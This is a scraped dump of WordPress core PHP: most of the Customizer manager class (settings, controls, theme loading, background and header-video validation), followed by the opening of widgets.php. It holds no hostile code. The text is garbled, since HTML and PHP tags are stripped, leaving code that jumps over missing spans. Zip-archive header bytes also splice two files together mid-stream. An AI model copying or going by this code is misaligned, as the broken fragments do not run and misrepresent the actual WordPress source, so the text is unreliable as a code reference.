$this->get_allowed_urls() ), 'isCrossDomain' => $this->is_cross_domain(), 'home' => sanitize_url( home_url( '/' ) ), 'login' => sanitize_url( $login_url ), ), 'browser' => array( 'mobile' => wp_is_mobile(), 'ios' => $this->is_ios(), ), 'panels' => array(), 'sections' => array(), 'nonce' => $this->get_nonces(), 'autofocus' => $this->get_autofocus(), 'documentTitleTmpl' => $this->get_document_title_template(), 'previewableDevices' => $this->get_previewable_devices(), 'l10n' => array( 'confirmDeleteTheme' => __( 'Are you sure you want to delete this theme?' ), /* translators: %d: Number of theme search results, which cannot currently consider singular vs. plural forms. */ 'themeSearchResults' => __( '%d themes found' ), /* translators: %d: Number of themes being displayed, which cannot currently consider singular vs. plural forms. */ 'announceThemeCount' => __( 'Displaying %d themes' ), /* translators: %s: Theme name. */ 'announceThemeDetails' => __( 'Showing details for theme: %s' ), ), ); // Temporarily disable installation in Customizer. See #42184. $filesystem_method = get_filesystem_method(); ob_start(); $filesystem_credentials_are_stored = request_filesystem_credentials( self_admin_url() ); ob_end_clean(); if ( 'direct' !== $filesystem_method && ! $filesystem_credentials_are_stored ) { $settings['theme']['_filesystemCredentialsNeeded'] = true; } // Prepare Customize Section objects to pass to JavaScript. foreach ( $this->sections() as $id => $section ) { if ( $section->check_capabilities() ) { $settings['sections'][ $id ] = $section->json(); } } // Prepare Customize Panel objects to pass to JavaScript. foreach ( $this->panels() as $panel_id => $panel ) { if ( $panel->check_capabilities() ) { $settings['panels'][ $panel_id ] = $panel->json(); foreach ( $panel->sections as $section_id => $section ) { if ( $section->check_capabilities() ) { $settings['sections'][ $section_id ] = $section->json(); } } } } ob_start(); ?> array( 'label' => __( 'Enter desktop preview mode' ), 'default' => true, ), 'tablet' => array( 'label' => __( 'Enter tablet preview mode' ), ), 'mobile' => array( 'label' => __( 'Enter mobile preview mode' ), ), ); /** * Filters the available devices to allow previewing in the Customizer. * * @since 4.5.0 * * @see WP_Customize_Manager::get_previewable_devices() * * @param array $devices List of devices with labels and default setting. */ $devices = apply_filters( 'customize_previewable_devices', $devices ); return $devices; } /** * Registers some default controls. * * @since 3.4.0 */ public function register_controls() { /* Themes (controls are loaded via ajax) */ $this->add_panel( new WP_Customize_Themes_Panel( $this, 'themes', array( 'title' => $this->theme()->display( 'Name' ), 'description' => ( '

    ' . __( 'Looking for a theme? You can search or browse the WordPress.org theme directory, install and preview themes, then activate them right here.' ) . '

    ' . '

    ' . __( 'While previewing a new theme, you can continue to tailor things like widgets and menus, and explore theme-specific options.' ) . '

    ' ), 'capability' => 'switch_themes', 'priority' => 0, ) ) ); $this->add_section( new WP_Customize_Themes_Section( $this, 'installed_themes', array( 'title' => __( 'Installed themes' ), 'action' => 'installed', 'capability' => 'switch_themes', 'panel' => 'themes', 'priority' => 0, ) ) ); if ( ! is_multisite() ) { $this->add_section( new WP_Customize_Themes_Section( $this, 'wporg_themes', array( 'title' => __( 'WordPress.org themes' ), 'action' => 'wporg', 'filter_type' => 'remote', 'capability' => 'install_themes', 'panel' => 'themes', 'priority' => 5, ) ) ); } // Themes Setting (unused - the theme is considerably more fundamental to the Customizer experience). $this->add_setting( new WP_Customize_Filter_Setting( $this, 'active_theme', array( 'capability' => 'switch_themes', ) ) ); /* Site Identity */ $this->add_section( 'title_tagline', array( 'title' => __( 'Site Identity' ), 'priority' => 20, ) ); $this->add_setting( 'blogname', array( 'default' => get_option( 'blogname' ), 'type' => 'option', 'capability' => 'manage_options', ) ); $this->add_control( 'blogname', array( 'label' => __( 'Site Title' ), 'section' => 'title_tagline', ) ); $this->add_setting( 'blogdescription', array( 'default' => get_option( 'blogdescription' ), 'type' => 'option', 'capability' => 'manage_options', ) ); $this->add_control( 'blogdescription', array( 'label' => __( 'Tagline' ), 'section' => 'title_tagline', ) ); // Add a setting to hide header text if the theme doesn't support custom headers. if ( ! current_theme_supports( 'custom-header', 'header-text' ) ) { $this->add_setting( 'header_text', array( 'theme_supports' => array( 'custom-logo', 'header-text' ), 'default' => 1, 'sanitize_callback' => 'absint', ) ); $this->add_control( 'header_text', array( 'label' => __( 'Display Site Title and Tagline' ), 'section' => 'title_tagline', 'settings' => 'header_text', 'type' => 'checkbox', ) ); } $this->add_setting( 'site_icon', array( 'type' => 'option', 'capability' => 'manage_options', 'transport' => 'postMessage', // Previewed with JS in the Customizer controls window. ) ); $this->add_control( new WP_Customize_Site_Icon_Control( $this, 'site_icon', array( 'label' => __( 'Site Icon' ), 'description' => sprintf( /* translators: 1: pixel value for icon size. 2: pixel value for icon size. */ '

    ' . __( 'The Site Icon is what you see in browser tabs, bookmark bars, and within the WordPress mobile apps. It should be square and at least %1$s by %2$s pixels.' ) . '

    ', 512, 512 ), 'section' => 'title_tagline', 'priority' => 60, 'height' => 512, 'width' => 512, ) ) ); $this->add_setting( 'custom_logo', array( 'theme_supports' => array( 'custom-logo' ), 'transport' => 'postMessage', ) ); $custom_logo_args = get_theme_support( 'custom-logo' ); $this->add_control( new WP_Customize_Cropped_Image_Control( $this, 'custom_logo', array( 'label' => __( 'Logo' ), 'section' => 'title_tagline', 'priority' => 8, 'height' => isset( $custom_logo_args[0]['height'] ) ? $custom_logo_args[0]['height'] : null, 'width' => isset( $custom_logo_args[0]['width'] ) ? $custom_logo_args[0]['width'] : null, 'flex_height' => isset( $custom_logo_args[0]['flex-height'] ) ? $custom_logo_args[0]['flex-height'] : null, 'flex_width' => isset( $custom_logo_args[0]['flex-width'] ) ? $custom_logo_args[0]['flex-width'] : null, 'button_labels' => array( 'select' => __( 'Select logo' ), 'change' => __( 'Change logo' ), 'remove' => __( 'Remove' ), 'default' => __( 'Default' ), 'placeholder' => __( 'No logo selected' ), 'frame_title' => __( 'Select logo' ), 'frame_button' => __( 'Choose logo' ), ), ) ) ); $this->selective_refresh->add_partial( 'custom_logo', array( 'settings' => array( 'custom_logo' ), 'selector' => '.custom-logo-link', 'render_callback' => array( $this, '_render_custom_logo_partial' ), 'container_inclusive' => true, ) ); /* Colors */ $this->add_section( 'colors', array( 'title' => __( 'Colors' ), 'priority' => 40, ) ); $this->add_setting( 'header_textcolor', array( 'theme_supports' => array( 'custom-header', 'header-text' ), 'default' => get_theme_support( 'custom-header', 'default-text-color' ), 'sanitize_callback' => array( $this, '_sanitize_header_textcolor' ), 'sanitize_js_callback' => 'maybe_hash_hex_color', ) ); // Input type: checkbox, with custom value. $this->add_control( 'display_header_text', array( 'settings' => 'header_textcolor', 'label' => __( 'Display Site Title and Tagline' ), 'section' => 'title_tagline', 'type' => 'checkbox', 'priority' => 40, ) ); $this->add_control( new WP_Customize_Color_Control( $this, 'header_textcolor', array( 'label' => __( 'Header Text Color' ), 'section' => 'colors', ) ) ); // Input type: color, with sanitize_callback. $this->add_setting( 'background_color', array( 'default' => get_theme_support( 'custom-background', 'default-color' ), 'theme_supports' => 'custom-background', 'sanitize_callback' => 'sanitize_hex_color_no_hash', 'sanitize_js_callback' => 'maybe_hash_hex_color', ) ); $this->add_control( new WP_Customize_Color_Control( $this, 'background_color', array( 'label' => __( 'Background Color' ), 'section' => 'colors', ) ) ); /* Custom Header */ if ( current_theme_supports( 'custom-header', 'video' ) ) { $title = __( 'Header Media' ); $description = '

    ' . __( 'If you add a video, the image will be used as a fallback while the video loads.' ) . '

    '; $width = absint( get_theme_support( 'custom-header', 'width' ) ); $height = absint( get_theme_support( 'custom-header', 'height' ) ); if ( $width && $height ) { $control_description = sprintf( /* translators: 1: .mp4, 2: Header size in pixels. */ __( 'Upload your video in %1$s format and minimize its file size for best results. Your theme recommends dimensions of %2$s pixels.' ), '.mp4', sprintf( '%s × %s', $width, $height ) ); } elseif ( $width ) { $control_description = sprintf( /* translators: 1: .mp4, 2: Header width in pixels. */ __( 'Upload your video in %1$s format and minimize its file size for best results. Your theme recommends a width of %2$s pixels.' ), '.mp4', sprintf( '%s', $width ) ); } else { $control_description = sprintf( /* translators: 1: .mp4, 2: Header height in pixels. */ __( 'Upload your video in %1$s format and minimize its file size for best results. Your theme recommends a height of %2$s pixels.' ), '.mp4', sprintf( '%s', $height ) ); } } else { $title = __( 'Header Image' ); $description = ''; $control_description = ''; } $this->add_section( 'header_image', array( 'title' => $title, 'description' => $description, 'theme_supports' => 'custom-header', 'priority' => 60, ) ); $this->add_setting( 'header_video', array( 'theme_supports' => array( 'custom-header', 'video' ), 'transport' => 'postMessage', 'sanitize_callback' => 'absint', 'validate_callback' => array( $this, '_validate_header_video' ), ) ); $this->add_setting( 'external_header_video', array( 'theme_supports' => array( 'custom-header', 'video' ), 'transport' => 'postMessage', 'sanitize_callback' => array( $this, '_sanitize_external_header_video' ), 'validate_callback' => array( $this, '_validate_external_header_video' ), ) ); $this->add_setting( new WP_Customize_Filter_Setting( $this, 'header_image', array( 'default' => sprintf( get_theme_support( 'custom-header', 'default-image' ), get_template_directory_uri(), get_stylesheet_directory_uri() ), 'theme_supports' => 'custom-header', ) ) ); $this->add_setting( new WP_Customize_Header_Image_Setting( $this, 'header_image_data', array( 'theme_supports' => 'custom-header', ) ) ); /* * Switch image settings to postMessage when video support is enabled since * it entails that the_custom_header_markup() will be used, and thus selective * refresh can be utilized. */ if ( current_theme_supports( 'custom-header', 'video' ) ) { $this->get_setting( 'header_image' )->transport = 'postMessage'; $this->get_setting( 'header_image_data' )->transport = 'postMessage'; } $this->add_control( new WP_Customize_Media_Control( $this, 'header_video', array( 'theme_supports' => array( 'custom-header', 'video' ), 'label' => __( 'Header Video' ), 'description' => $control_description, 'section' => 'header_image', 'mime_type' => 'video', 'active_callback' => 'is_header_video_active', ) ) ); $this->add_control( 'external_header_video', array( 'theme_supports' => array( 'custom-header', 'video' ), 'type' => 'url', 'description' => __( 'Or, enter a YouTube URL:' ), 'section' => 'header_image', 'active_callback' => 'is_header_video_active', ) ); $this->add_control( new WP_Customize_Header_Image_Control( $this ) ); $this->selective_refresh->add_partial( 'custom_header', array( 'selector' => '#wp-custom-header', 'render_callback' => 'the_custom_header_markup', 'settings' => array( 'header_video', 'external_header_video', 'header_image' ), // The image is used as a video fallback here. 'container_inclusive' => true, ) ); /* Custom Background */ $this->add_section( 'background_image', array( 'title' => __( 'Background Image' ), 'theme_supports' => 'custom-background', 'priority' => 80, ) ); $this->add_setting( 'background_image', array( 'default' => get_theme_support( 'custom-background', 'default-image' ), 'theme_supports' => 'custom-background', 'sanitize_callback' => array( $this, '_sanitize_background_setting' ), ) ); $this->add_setting( new WP_Customize_Background_Image_Setting( $this, 'background_image_thumb', array( 'theme_supports' => 'custom-background', 'sanitize_callback' => array( $this, '_sanitize_background_setting' ), ) ) ); $this->add_control( new WP_Customize_Background_Image_Control( $this ) ); $this->add_setting( 'background_preset', array( 'default' => get_theme_support( 'custom-background', 'default-preset' ), 'theme_supports' => 'custom-background', 'sanitize_callback' => array( $this, '_sanitize_background_setting' ), ) ); $this->add_control( 'background_preset', array( 'label' => _x( 'Preset', 'Background Preset' ), 'section' => 'background_image', 'type' => 'select', 'choices' => array( 'default' => _x( 'Default', 'Default Preset' ), 'fill' => __( 'Fill Screen' ), 'fit' => __( 'Fit to Screen' ), 'repeat' => _x( 'Repeat', 'Repeat Image' ), 'custom' => _x( 'Custom', 'Custom Preset' ), ), ) ); $this->add_setting( 'background_position_x', array( 'default' => get_theme_support( 'custom-background', 'default-position-x' ), 'theme_supports' => 'custom-background', 'sanitize_callback' => array( $this, '_sanitize_background_setting' ), ) ); $this->add_setting( 'background_position_y', array( 'default' => get_theme_support( 'custom-background', 'default-position-y' ), 'theme_supports' => 'custom-background', 'sanitize_callback' => array( $this, '_sanitize_background_setting' ), ) ); $this->add_control( new WP_Customize_Background_Position_Control( $this, 'background_position', array( 'label' => __( 'Image Position' ), 'section' => 'background_image', 'settings' => array( 'x' => 'background_position_x', 'y' => 'background_position_y', ), ) ) ); $this->add_setting( 'background_size', array( 'default' => get_theme_support( 'custom-background', 'default-size' ), 'theme_supports' => 'custom-background', 'sanitize_callback' => array( $this, '_sanitize_background_setting' ), ) ); $this->add_control( 'background_size', array( 'label' => __( 'Image Size' ), 'section' => 'background_image', 'type' => 'select', 'choices' => array( 'auto' => _x( 'Original', 'Original Size' ), 'contain' => __( 'Fit to Screen' ), 'cover' => __( 'Fill Screen' ), ), ) ); $this->add_setting( 'background_repeat', array( 'default' => get_theme_support( 'custom-background', 'default-repeat' ), 'sanitize_callback' => array( $this, '_sanitize_background_setting' ), 'theme_supports' => 'custom-background', ) ); $this->add_control( 'background_repeat', array( 'label' => __( 'Repeat Background Image' ), 'section' => 'background_image', 'type' => 'checkbox', ) ); $this->add_setting( 'background_attachment', array( 'default' => get_theme_support( 'custom-background', 'default-attachment' ), 'sanitize_callback' => array( $this, '_sanitize_background_setting' ), 'theme_supports' => 'custom-background', ) ); $this->add_control( 'background_attachment', array( 'label' => __( 'Scroll with Page' ), 'section' => 'background_image', 'type' => 'checkbox', ) ); /* * If the theme is using the default background callback, we can update * the background CSS using postMessage. */ if ( get_theme_support( 'custom-background', 'wp-head-callback' ) === '_custom_background_cb' ) { foreach ( array( 'color', 'image', 'preset', 'position_x', 'position_y', 'size', 'repeat', 'attachment' ) as $prop ) { $this->get_setting( 'background_' . $prop )->transport = 'postMessage'; } } /* * Static Front Page * See also https://core.trac.wordpress.org/ticket/19627 which introduces the static-front-page theme_support. * The following replicates behavior from options-reading.php. */ $this->add_section( 'static_front_page', array( 'title' => __( 'Homepage Settings' ), 'priority' => 120, 'description' => __( 'You can choose what’s displayed on the homepage of your site. It can be posts in reverse chronological order (classic blog), or a fixed/static page. To set a static homepage, you first need to create two Pages. One will become the homepage, and the other will be where your posts are displayed.' ), 'active_callback' => array( $this, 'has_published_pages' ), ) ); $this->add_setting( 'show_on_front', array( 'default' => get_option( 'show_on_front' ), 'capability' => 'manage_options', 'type' => 'option', ) ); $this->add_control( 'show_on_front', array( 'label' => __( 'Your homepage displays' ), 'section' => 'static_front_page', 'type' => 'radio', 'choices' => array( 'posts' => __( 'Your latest posts' ), 'page' => __( 'A static page' ), ), ) ); $this->add_setting( 'page_on_front', array( 'type' => 'option', 'capability' => 'manage_options', ) ); $this->add_control( 'page_on_front', array( 'label' => __( 'Homepage' ), 'section' => 'static_front_page', 'type' => 'dropdown-pages', 'allow_addition' => true, ) ); $this->add_setting( 'page_for_posts', array( 'type' => 'option', 'capability' => 'manage_options', ) ); $this->add_control( 'page_for_posts', array( 'label' => __( 'Posts page' ), 'section' => 'static_front_page', 'type' => 'dropdown-pages', 'allow_addition' => true, ) ); /* Custom CSS */ $section_description = '

    '; $section_description .= __( 'Add your own CSS code here to customize the appearance and layout of your site.' ); $section_description .= sprintf( ' %2$s %3$s', esc_url( __( 'https://developer.wordpress.org/advanced-administration/wordpress/css/' ) ), __( 'Learn more about CSS' ), /* translators: Hidden accessibility text. */ __( '(opens in a new tab)' ) ); $section_description .= '

    '; $section_description .= '

    ' . __( 'When using a keyboard to navigate:' ) . '

    '; $section_description .= '
      '; $section_description .= '
    • ' . __( 'In the editing area, the Tab key enters a tab character.' ) . '
    • '; $section_description .= '
    • ' . __( 'To move away from this area, press the Esc key followed by the Tab key.' ) . '
    • '; $section_description .= '
    • ' . __( 'Screen reader users: when in forms mode, you may need to press the Esc key twice.' ) . '
    • '; $section_description .= '
    '; if ( 'false' !== wp_get_current_user()->syntax_highlighting ) { $section_description .= '

    '; $section_description .= sprintf( /* translators: 1: Link to user profile, 2: Additional link attributes, 3: Accessibility text. */ __( 'The edit field automatically highlights code syntax. You can disable this in your user profile%3$s to work in plain text mode.' ), esc_url( get_edit_profile_url() ), 'class="external-link" target="_blank"', sprintf( ' %s', /* translators: Hidden accessibility text. */ __( '(opens in a new tab)' ) ) ); $section_description .= '

    '; } $section_description .= '

    '; $section_description .= ''; $section_description .= '

    '; $this->add_section( 'custom_css', array( 'title' => __( 'Additional CSS' ), 'priority' => 200, 'description_hidden' => true, 'description' => $section_description, ) ); $custom_css_setting = new WP_Customize_Custom_CSS_Setting( $this, sprintf( 'custom_css[%s]', get_stylesheet() ), array( 'capability' => 'edit_css', 'default' => '', ) ); $this->add_setting( $custom_css_setting ); $this->add_control( new WP_Customize_Code_Editor_Control( $this, 'custom_css', array( 'label' => __( 'CSS code' ), 'section' => 'custom_css', 'settings' => array( 'default' => $custom_css_setting->id ), 'code_type' => 'text/css', 'input_attrs' => array( 'aria-describedby' => 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4', ), ) ) ); } /** * Returns whether there are published pages. * * Used as active callback for static front page section and controls. * * @since 4.7.0 * * @return bool Whether there are published (or to be published) pages. */ public function has_published_pages() { $setting = $this->get_setting( 'nav_menus_created_posts' ); if ( $setting ) { foreach ( $setting->value() as $post_id ) { if ( 'page' === get_post_type( $post_id ) ) { return true; } } } return 0 !== count( get_pages( array( 'number' => 1, 'hierarchical' => 0, ) ) ); } /** * Adds settings from the POST data that were not added with code, e.g. dynamically-created settings for Widgets * * @since 4.2.0 * * @see add_dynamic_settings() */ public function register_dynamic_settings() { $setting_ids = array_keys( $this->unsanitized_post_values() ); $this->add_dynamic_settings( $setting_ids ); } /** * Loads themes into the theme browsing/installation UI. * * @since 4.9.0 */ public function handle_load_themes_request() { check_ajax_referer( 'switch_themes', 'nonce' ); if ( ! current_user_can( 'switch_themes' ) ) { wp_die( -1 ); } if ( empty( $_POST['theme_action'] ) ) { wp_send_json_error( 'missing_theme_action' ); } $theme_action = sanitize_key( $_POST['theme_action'] ); $themes = array(); $args = array(); // Define query filters based on user input. if ( ! array_key_exists( 'search', $_POST ) ) { $args['search'] = ''; } else { $args['search'] = sanitize_text_field( wp_unslash( $_POST['search'] ) ); } if ( ! array_key_exists( 'tags', $_POST ) ) { $args['tag'] = ''; } else { $args['tag'] = array_map( 'sanitize_text_field', wp_unslash( (array) $_POST['tags'] ) ); } if ( ! array_key_exists( 'page', $_POST ) ) { $args['page'] = 1; } else { $args['page'] = absint( $_POST['page'] ); } require_once ABSPATH . 'wp-admin/includes/theme.php'; if ( 'installed' === $theme_action ) { // Load all installed themes from wp_prepare_themes_for_js(). $themes = array( 'themes' => array() ); foreach ( wp_prepare_themes_for_js() as $theme ) { $theme['type'] = 'installed'; $theme['active'] = ( isset( $_POST['customized_theme'] ) && $_POST['customized_theme'] === $theme['id'] ); $themes['themes'][] = $theme; } } elseif ( 'wporg' === $theme_action ) { // Load WordPress.org themes from the .org API and normalize data to match installed theme objects. if ( ! current_user_can( 'install_themes' ) ) { wp_die( -1 ); } // Arguments for all queries. $wporg_args = array( 'per_page' => 100, 'fields' => array( 'reviews_url' => true, // Explicitly request the reviews URL to be linked from the customizer. ), ); $args = array_merge( $wporg_args, $args ); if ( '' === $args['search'] && '' === $args['tag'] ) { $args['browse'] = 'new'; // Sort by latest themes by default. } // Load themes from the .org API. $themes = themes_api( 'query_themes', $args ); if ( is_wp_error( $themes ) ) { wp_send_json_error(); } // This list matches the allowed tags in wp-admin/includes/theme-install.php. $themes_allowedtags = array_fill_keys( array( 'a', 'abbr', 'acronym', 'code', 'pre', 'em', 'strong', 'div', 'p', 'ul', 'ol', 'li', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'img' ), array() ); $themes_allowedtags['a'] = array_fill_keys( array( 'href', 'title', 'target' ), true ); $themes_allowedtags['acronym']['title'] = true; $themes_allowedtags['abbr']['title'] = true; $themes_allowedtags['img'] = array_fill_keys( array( 'src', 'class', 'alt' ), true ); // Prepare a list of installed themes to check against before the loop. $installed_themes = array(); $wp_themes = wp_get_themes(); foreach ( $wp_themes as $theme ) { $installed_themes[] = $theme->get_stylesheet(); } $update_php = network_admin_url( 'update.php?action=install-theme' ); // Set up properties for themes available on WordPress.org. foreach ( $themes->themes as &$theme ) { $theme->install_url = add_query_arg( array( 'theme' => $theme->slug, '_wpnonce' => wp_create_nonce( 'install-theme_' . $theme->slug ), ), $update_php ); $theme->name = wp_kses( $theme->name, $themes_allowedtags ); $theme->version = wp_kses( $theme->version, $themes_allowedtags ); $theme->description = wp_kses( $theme->description, $themes_allowedtags ); $theme->stars = wp_star_rating( array( 'rating' => $theme->rating, 'type' => 'percent', 'number' => $theme->num_ratings, 'echo' => false, ) ); $theme->num_ratings = number_format_i18n( $theme->num_ratings ); $theme->preview_url = set_url_scheme( $theme->preview_url ); // Handle themes that are already installed as installed themes. if ( in_array( $theme->slug, $installed_themes, true ) ) { $theme->type = 'installed'; } else { $theme->type = $theme_action; } // Set active based on customized theme. $theme->active = ( isset( $_POST['customized_theme'] ) && $_POST['customized_theme'] === $theme->slug ); // Map available theme properties to installed theme properties. $theme->id = $theme->slug; $theme->screenshot = array( $theme->screenshot_url ); $theme->authorAndUri = wp_kses( $theme->author['display_name'], $themes_allowedtags ); $theme->compatibleWP = is_wp_version_compatible( $theme->requires ); // phpcs:ignore WordPress.NamingConventions.ValidVariableName $theme->compatiblePHP = is_php_version_compatible( $theme->requires_php ); // phpcs:ignore WordPress.NamingConventions.ValidVariableName if ( isset( $theme->parent ) ) { $theme->parent = $theme->parent['slug']; } else { $theme->parent = false; } unset( $theme->slug ); unset( $theme->screenshot_url ); unset( $theme->author ); } // End foreach(). } // End if(). /** * Filters the theme data loaded in the customizer. * * This allows theme data to be loading from an external source, * or modification of data loaded from `wp_prepare_themes_for_js()` * or WordPress.org via `themes_api()`. * * @since 4.9.0 * * @see wp_prepare_themes_for_js() * @see themes_api() * @see WP_Customize_Manager::__construct() * * @param array|stdClass $themes Nested array or object of theme data. * @param array $args List of arguments, such as page, search term, and tags to query for. * @param WP_Customize_Manager $manager Instance of Customize manager. */ $themes = apply_filters( 'customize_load_themes', $themes, $args, $this ); wp_send_json_success( $themes ); } /** * Callback for validating the header_textcolor value. * * Accepts 'blank', and otherwise uses sanitize_hex_color_no_hash(). * Returns default text color if hex color is empty. * * @since 3.4.0 * * @param string $color * @return mixed */ public function _sanitize_header_textcolor( $color ) { if ( 'blank' === $color ) { return 'blank'; } $color = sanitize_hex_color_no_hash( $color ); if ( empty( $color ) ) { $color = get_theme_support( 'custom-header', 'default-text-color' ); } return $color; } /** * Callback for validating a background setting value. * * @since 4.7.0 * * @param string $value Repeat value. * @param WP_Customize_Setting $setting Setting. * @return string|WP_Error Background value or validation error. */ public function _sanitize_background_setting( $value, $setting ) { if ( 'background_repeat' === $setting->id ) { if ( ! in_array( $value, array( 'repeat-x', 'repeat-y', 'repeat', 'no-repeat' ), true ) ) { return new WP_Error( 'invalid_value', __( 'Invalid value for background repeat.' ) ); } } elseif ( 'background_attachment' === $setting->id ) { if ( ! in_array( $value, array( 'fixed', 'scroll' ), true ) ) { return new WP_Error( 'invalid_value', __( 'Invalid value for background attachment.' ) ); } } elseif ( 'background_position_x' === $setting->id ) { if ( ! in_array( $value, array( 'left', 'center', 'right' ), true ) ) { return new WP_Error( 'invalid_value', __( 'Invalid value for background position X.' ) ); } } elseif ( 'background_position_y' === $setting->id ) { if ( ! in_array( $value, array( 'top', 'center', 'bottom' ), true ) ) { return new WP_Error( 'invalid_value', __( 'Invalid value for background position Y.' ) ); } } elseif ( 'background_size' === $setting->id ) { if ( ! in_array( $value, array( 'auto', 'contain', 'cover' ), true ) ) { return new WP_Error( 'invalid_value', __( 'Invalid value for background size.' ) ); } } elseif ( 'background_preset' === $setting->id ) { if ( ! in_array( $value, array( 'default', 'fill', 'fit', 'repeat', 'custom' ), true ) ) { return new WP_Error( 'invalid_value', __( 'Invalid value for background size.' ) ); } } elseif ( 'background_image' === $setting->id || 'background_image_thumb' === $setting->id ) { $value = empty( $value ) ? '' : sanitize_url( $value ); } else { return new WP_Error( 'unrecognized_setting', __( 'Unrecognized background setting.' ) ); } return $value; } /** * Exports header video settings to facilitate selective refresh. * * @since 4.7.0 * * @param array $response Response. * @param WP_Customize_Selective_Refresh $selective_refresh Selective refresh component. * @param array $partials Array of partials. * @return array */ public function export_header_video_settings( $response, $selective_refresh, $partials ) { if ( isset( $partials['custom_header'] ) ) { $response['custom_header_settings'] = get_header_video_settings(); } return $response; } /** * Callback for validating the header_video value. * * Ensures that the selected video is less than 8MB and provides an error message. * * @since 4.7.0 * * @param WP_Error $validity * @param mixed $value * @return mixed */ public function _validate_header_video( $validity, $value ) { $video = get_attached_file( absint( $value ) ); if ( $video ) { $size = filesize( $video ); if ( $size > 8 * MB_IN_BYTES ) { $validity->add( 'size_too_large', __( 'This video file is too large to use as a header video. Try a shorter video or optimize the compression settings and re-upload a file that is less than 8MB. Or, upload your video to YouTube and link it with the option below.' ) ); } if ( ! str_ends_with( $video, '.mp4' ) && ! str_ends_with( $video, '.mov' ) ) { // Check for .mp4 or .mov format, which (assuming h.264 encoding) are the only cross-browser-supported formats. $validity->add( 'invalid_file_type', sprintf( /* translators: 1: .mp4, 2: .mov */ __( 'Only %1$s or %2$s files may be used for header video. Please convert your video file and try again, or, upload your video to YouTube and link it with the option below.' ), '.mp4', '.mov' ) ); } } return $validity; } /** * Callback for validating the external_header_video value. * * Ensures that the provided URL is supported. * * @since 4.7.0 * * @param WP_Error $validity * @param mixed $value * @return mixed */ public function _validate_external_header_video( $validity, $value ) { $video = sanitize_url( $value ); if ( $video ) { if ( ! preg_match( '#^https?://(?:www\.)?(?:youtube\.com/watch|youtu\.be/)#', $video ) ) { $validity->add( 'invalid_url', __( 'Please enter a valid YouTube URL.' ) ); } } return $validity; } /** * Callback for sanitizing the external_header_video value. * * @since 4.7.1 * * @param string $value URL. * @return string Sanitized URL. */ public function _sanitize_external_header_video( $value ) { return sanitize_url( trim( $value ) ); } /** * Callback for rendering the custom logo, used in the custom_logo partial. * * This method exists because the partial object and context data are passed * into a partial's render_callback so we cannot use get_custom_logo() as * the render_callback directly since it expects a blog ID as the first * argument. * * @see WP_Customize_Manager::register_controls() * * @since 4.5.0 * * @return string Custom logo. */ public function _render_custom_logo_partial() { return get_custom_logo(); } } PK!›DÔÙÙ widgets.phpnuȯÝíregister( $widget ); } /** * Unregisters a widget. * * Unregisters a WP_Widget widget. Useful for un-registering default widgets. * Run within a function hooked to the {@see 'widgets_init'} action. * * @since 2.8.0 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object * instead of simply a `WP_Widget` subclass name. * * @see WP_Widget * * @global WP_Widget_Factory $wp_widget_factory * * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass. */ function unregister_widget( $widget ) { global $wp_widget_factory; $wp_widget_factory->unregister( $widget ); } /** * Creates multiple sidebars. * * If you wanted to quickly create multiple sidebars for a theme or internally. * This function will allow you to do so. If you don't pass the 'name' and/or * 'id' in `$args`, then they will be built for you. * * @since 2.2.0 * * @see register_sidebar() The second parameter is documented by register_sidebar() and is the same here. * * @global array $wp_registered_sidebars The new sidebars are stored in this array by sidebar ID. * * @param int $number Optional. Number of sidebars to create. Default 1. * @param array|string $args { * Optional. Array or string of arguments for building a sidebar. * * @type string $id The base string of the unique identifier for each sidebar. If provided, and multiple * sidebars are being defined, the ID will have "-2" appended, and so on. * Default 'sidebar-' followed by the number the sidebar creation is currently at. * @type string $name The name or title for the sidebars displayed in the admin dashboard. If registering * more than one sidebar, include '%d' in the string as a placeholder for the uniquely * assigned number for each sidebar. * Default 'Sidebar' for the first sidebar, otherwise 'Sidebar %d'. * } */ function register_sidebars( $number = 1, $args = array() ) { global $wp_registered_sidebars; $number = (int) $number; if ( is_string( $args ) ) { parse_str( $args, $args ); } for ( $i = 1; $i <= $number; $i++ ) { $_args = $args; if ( $number > 1 ) { if ( isset( $args['name'] ) ) { $_args['name'] = sprintf( $args['name'], $i ); } else { /* translators: %d: Sidebar number. */ $_args['name'] = sprintf( __( 'Sidebar %d' ), $i ); } } else { $_args['name'] = isset( $args['name'] ) ? $args['name'] : __( 'Sidebar' ); } /* * Custom specified ID's are suffixed if they exist already. * Automatically generated sidebar names need to be suffixed regardless starting at -0. */ if ( isset( $args['id'] ) ) { $_args['id'] = $args['id']; $n = 2; // Start at -2 for conflicting custom IDs. while ( is_registered_sidebar( $_args['id'] ) ) { $_args['id'] = $args['id'] . '-' . $n++; } } else { $n = count( $wp_registered_sidebars ); do { $_args['id'] = 'sidebar-' . ++$n; } while ( is_registered_sidebar( $_args['id'] ) ); } register_sidebar( $_args ); } } /** * Builds the definition for a single sidebar and returns the ID. * * Accepts either a string or an array and then parses that against a set * of default arguments for the new sidebar. WordPress will automatically * generate a sidebar ID and name based on the current number of registered * sidebars if those arguments are not included. * * When allowing for automatic generation of the name and ID parameters, keep * in mind that the incrementor for your sidebar can change over time depending * on what other plugins and themes are installed. * * If theme support for 'widgets' has not yet been added when this function is * called, it will be automatically enabled through the use of add_theme_support(). * * @since 2.2.0 * @since 5.6.0 Added the `before_sidebar` and `after_sidebar` arguments. * @since 5.9.0 Added the `show_in_rest` argument. * * @global array $wp_registered_sidebars The registered sidebars. * * @param array|string $args { * Optional. Array or string of arguments for the sidebar being registered. * * @type string $name The name or title of the sidebar displayed in the Widgets * interface. Default 'Sidebar $instance'. * @type string $id The unique identifier by which the sidebar will be called. * Default 'sidebar-$instance'. * @type string $description Description of the sidebar, displayed in the Widgets interface. * Default empty string. * @type string $class Extra CSS class to assign to the sidebar in the Widgets interface. * Default empty. * @type string $before_widget HTML content to prepend to each widget's HTML output when assigned * to this sidebar. Receives the widget's ID attribute as `%1$s` * and class name as `%2$s`. Default is an opening list item element. * @type string $after_widget HTML content to append to each widget's HTML output when assigned * to this sidebar. Default is a closing list item element. * @type string $before_title HTML content to prepend to the sidebar title when displayed. * Default is an opening h2 element. * @type string $after_title HTML content to append to the sidebar title when displayed. * Default is a closing h2 element. * @type string $before_sidebar HTML content to prepend to the sidebar when displayed. * Receives the `$id` argument as `%1$s` and `$class` as `%2$s`. * Outputs after the 